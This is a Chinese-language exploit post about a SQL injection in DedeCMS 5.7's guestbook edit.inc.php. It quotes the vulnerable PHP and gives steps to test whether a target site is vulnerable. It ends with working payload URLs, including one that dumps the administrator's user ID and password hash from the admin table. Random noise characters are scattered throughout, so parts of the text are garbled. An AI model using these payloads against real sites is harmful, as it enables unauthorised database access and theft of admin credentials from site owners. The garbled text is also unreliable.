影响版本为5.7% x! K+ H* e% w% M4 t3 F" E
" M+ J3 d/ A2 s漏洞文件edit.inc.php具体代码:- ?" q' @6 x+ ^ v
$ a# ^/ X. S% B' p. E( B< ?php ( s$ c+ S8 T) }' C& W
0 a- X t4 }$ j* d" I
if(!defined('DEDEINC')) exit('Request Error!');
s4 n: V* i' {7 u! i+ r8 v# Y) z7 }( `4 g
" u. i% |9 k- Z3 N
& Z/ b5 C0 g+ _7 i$ W( b! R/ Dif(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS']; & J4 K3 K$ B* C: t" l" h
7 X& B# }$ y0 m2 B
else $GUEST_BOOK_POS = "guestbook.php"; $ w( e, g! d# E( {) H6 b& }
9 r, E( M c* N5 U 9 j. r4 ^- I8 Y3 W
9 k' Z) {6 l- G. N& ^' D: f$id = intval($id);
! p& ^$ a1 b+ C* a0 M' b$ C7 d& m+ p# D8 K: S
if(empty($job)) $job='view';
2 k/ o6 q8 `/ [) w, N# I$ b$ t4 @6 _1 k7 ^: k+ J/ z
7 i7 b0 W4 j, ]/ j+ | M9 f
2 |2 G5 f9 n7 N) n2 ?if($job=='del' && $g_isadmin) 3 b8 l: q0 v1 a8 D Q* d
Y$ S3 Q* t! y) z! E
{ * k' X$ B/ J) g) j: v4 e1 n
# }/ [9 p9 Z! y, D5 L9 ?& ~$ Z, g) }
$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");
' s6 r& o5 \6 Q# m& t% V/ b( l" F! I
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);
6 P3 ]) a6 N0 x' W1 P
+ e* V7 B5 k: O4 ]8 cexit(); 3 m& T/ [; i- ?$ V
8 K6 D% A8 f9 M# l. ~# S# \0 Y" r
} + v2 m8 R, w" J& a1 U
* f0 l7 H% ~( E) J4 X) G
else if($job=='check' && $g_isadmin)
7 Z7 M2 K5 R& t+ W# O& t* p/ M* g, ^, U! `! c- h0 [
{
c# k0 N% L2 B; l: p$ o; _4 [
9 e; `' }+ J8 q6 ?1 s$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");
l' I) F) w) y+ f5 n8 v" u* S0 B6 r3 z( d5 v
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS); - A' w' [, H. ~) W; E! [
" L& t( C- |! K5 \' uexit(); 4 u4 B8 o3 C, O; y9 M7 r# u; M
' M/ w3 W2 K* g8 h6 `( K" o# w2 }
} @$ i1 d$ D( A, z5 I4 t
3 K5 `6 W+ f9 o6 g
else if($job=='editok') 1 A* C! E3 U& G$ v: S
8 I3 i- i5 O" q$ t% c{
+ B$ n7 D8 Q: W2 e7 w. L. `
( @0 v# m" J" {0 K1 M$remsg = trim($remsg); $ p* {# t* K! I+ X0 ^2 I
* Q& n; ^5 j, h6 a& Gif($remsg!='')
8 m% m W' {4 v) U5 }
0 S+ ^, Z& q& m5 U" E5 V{ ' Y6 I+ K. n, k9 J, x" @) P( ~
8 G9 G5 |: d; i' i
//管理员回复不过滤HTML By:Errorera blog:errs.cc ( e# ]! O, O2 G* I
. p0 \; x( E1 C4 C5 N" Rif($g_isadmin)
* O# p i) j7 X+ O( k. o& @( p+ v' J* J! F; R6 @9 \/ a% ^# p
{ $ i- @) s5 \; a$ f
3 H# G7 p- L: i% d' F8 S! o$msg = "<div class='rebox'>".$msg."</div>\n".$remsg; 0 r: m$ _8 f, t% l
4 K2 r6 g6 M+ t: f
//$remsg <br /><font color=red>管理员回复:</font> }
& ^' Y9 x$ W, b
6 ?; ?- L% C5 v/ Nelse
. K' B9 ^& p+ @, s& X+ {) t# O8 N; Q
4 O/ c7 [. Z, q3 d g% Q0 w* n{
& j8 c1 _+ W8 L6 l! X2 X, K6 M% D" q6 h0 M+ p1 e- A: t3 n" H
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");
' ^0 |6 `# F: F' n
: p1 T% x# s4 u. p- F4 }; L$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n"; # T; C# A; ?) s
# G, @8 E+ I, W7 \6 i& g3 I
$remsg = trimMsg(cn_substrR($remsg, 1024), 1);
; w: h) Y( p% ^, P) W1 D3 @: j& H% C
1 J6 t$ k4 N8 j ?3 i3 h$msg = $oldmsg.$remsg; * G5 B& h+ p" b! o' R* N5 ]* F8 `" {
/ T3 i7 D; F: K5 x/ E+ X `
} / v: f) Z$ e3 M. s( w6 w2 x$ H$ Z
" h+ {3 t9 A/ U# H9 _: k} ! W. R$ q6 y3 v! f7 @
/ X* N) E0 Y0 E# {, c+ v2 p9 p
//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc
- v5 S8 _8 v* G3 p* e9 X1 E! K: Y% |( _- `5 U
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' "); 1 ?2 q" V1 V2 Y; {5 j
8 M7 e* C3 ], R, d- B/ S. i# \ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);
+ E" L% J6 f" p5 h" p* d& k% y) Q6 N
exit();
' j5 c- J5 O+ \- H* k; ]9 U
( E1 | v) v7 I+ j4 R( V- p( i} 3 i! K, z- u+ N" ^
' f7 G, c' N" q" N+ a; f0 f
//home:www.errs.cc ( o: D7 S, b8 F4 @* w0 R- S
$ ]- H8 Q+ a% h! ^if($g_isadmin)
8 A1 s7 i$ G+ E
8 o; E. T- O0 r{ 5 M, r2 O! p% N& I
* `5 Y. V0 V0 A! G( h" g$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");
' @. x8 S2 D3 K0 a& u: N4 e& W t! x6 U. n& g
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm'); ; X, r! Z% l4 g7 w' @) ?5 c
' B6 v9 S3 s8 K0 T}
: |4 i# H2 ?5 @, n( s# ^) D4 I0 X2 h ?% [' u
else , q0 s* Q, t7 k% d8 ?
J/ O2 O4 ?6 S0 j3 |
{
$ \ O7 F4 r: S
9 S5 f$ E& J1 |( }( {+ U4 }$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'"); ; `* @% J8 C0 Q6 O, w# m
; H: S/ f3 g/ ?: Mrequire_once(DEDETEMPLATE.'/plus/guestbook-user.htm'); $ g7 f' s& s9 }% T$ O+ O4 B+ W, \! h
2 n7 w+ I6 o! P$ o1 s5 B} 漏洞成功需要条件:! O0 ~' ~* t$ D6 G0 T5 c
1. php magic_quotes_gpc=off/ v# }. W- V# ^4 ~6 U
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。( X9 V' P4 X7 y7 D' \1 y
* Y2 i+ c* P: }8 ~2 j怎么判断是否存在漏洞:/ A$ g7 y7 s: \9 H2 k% g
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,' a7 R+ |1 ^) z) B: s! L
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
G$ D7 w; q! f: Z) b/ C访问:+ R1 u, ~: ~7 ?" S) S) c1 c# I
& ^+ }2 y! ?, ?4 Q
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
9 J" t) H/ E) B6 c2 B, T- ~. u跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证9 F/ b$ b( ?: e
* M5 p2 _7 t1 r0 e5 u, T$ P0 j& V1 B* r% n" m8 }3 c5 s
明漏洞无法利用应为他开启了 php magic_quotes_gpc=off: L6 q$ T1 j/ t- n3 I; O w
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。4 q3 j. @7 ^& \$ I: B! [
那么再次访问
+ U, T2 x6 m- u1 N* L' O2 m; S) A" u8 h) W
www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().
2 k% F7 ~1 k8 q! h- `6 F6 _
) W! t+ \7 a8 D3 k& o) ?7 h& G大概利用就是这样,大家有兴趣的多研究下!!
# n+ o; A. o" ?' E
& u' b6 ~: l9 E. h% c- ^- G- i最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!
. W2 B0 i `6 A' c# w+ l& ]
. Q: w0 }/ }- Mview sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email=' |